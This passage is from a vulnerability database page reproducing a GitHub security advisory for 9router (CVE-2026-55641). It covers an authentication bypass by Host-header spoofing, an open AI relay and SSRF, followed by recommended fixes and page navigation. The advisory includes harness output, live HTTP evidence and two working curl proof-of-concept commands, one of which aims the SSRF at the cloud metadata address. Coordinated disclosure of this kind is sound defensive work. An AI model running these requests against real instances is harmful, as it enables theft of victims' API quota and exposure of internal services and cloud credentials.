`AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55641 (GCVE-0-2026-55641)

FKIE_CVE-2026-55641

GHSA-86M2-FCXQ-5Q7C

Summary

Details

The bypass (src/dashboardGuard.js)

Default exposure

Relay chain (verbatim trace, 0.4.71)

SSRF chain

PoC

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Impact

Recommended fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

The bypass (`src/dashboardGuard.js`)